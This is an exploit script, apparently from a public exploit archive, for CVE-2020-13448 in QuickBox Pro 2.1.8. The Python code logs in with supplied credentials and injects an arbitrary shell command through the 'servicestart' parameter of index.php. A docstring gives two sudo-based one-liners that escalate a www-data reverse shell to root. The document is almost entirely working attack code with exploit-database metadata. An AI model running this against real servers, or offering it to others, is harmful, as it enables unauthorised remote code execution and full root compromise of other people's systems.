QuickBox Pro 2.1.8 Remote Code Execution

# Exploit Title: QuickBox Pro 2.1.8 - Authenticated Remote Code Execution
# Date: 2020-05-26
# Exploit Author: s1gh
# Vendor Homepage: https://quickbox.io/
# Vulnerability Details: https://s1gh.sh/cve-2020-13448-quickbox-authenticated-rce/
# Version: <= 2.1.8
# Description: An authenticated low-privileged user can exploit a command injection vulnerability to get code-execution as www-data and escalate privileges to root due to weak sudo rules.
# Tested on: Debian 9
# CVE: CVE-2020-13448
# References: https://github.com/s1gh/QuickBox-Pro-2.1.8-Authenticated-RCE

'''
Privilege escalation: After getting a reverse shell as the www-data user you can escalate to root in one of two ways.
1. sudo mysql -e '\! /bin/sh'
2. sudo mount -o bind /bin/sh /bin/mount;sudo mount

'''

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import argparse
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from urllib.parse import quote_plus

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def exploit(args):
    s = requests.Session()
    print('[*] Sending our payload...')

    s.post('https://' + args.ip + '/inc/process.php', data={'username': args.username, 'password': args.password, 'form_submission': 'login'}, verify=False)
    try:
        s.get('https://' + args.ip + '/index.php?id=88&servicestart=a;' + quote_plus(args.cmd) + ';', verify=False)
    except requests.exceptions.ReadTimeout:
        pass

def main():
    parser = argparse.ArgumentParser(description="Authenticated RCE for QuickBox Pro <= v2.1.8")
    parser.add_argument('-i',dest='ip',required=True,help="Target IP Address")
    parser.add_argument('-u',dest='username',required=True,help="Username")
    parser.add_argument('-p',dest='password',required=True,help="Password")
    parser.add_argument('-c',dest='cmd', required=True, help="Command to execute")
    args = parser.parse_args()

    exploit(args)


if __name__ == '__main__':
    main()
    sys.exit(0)

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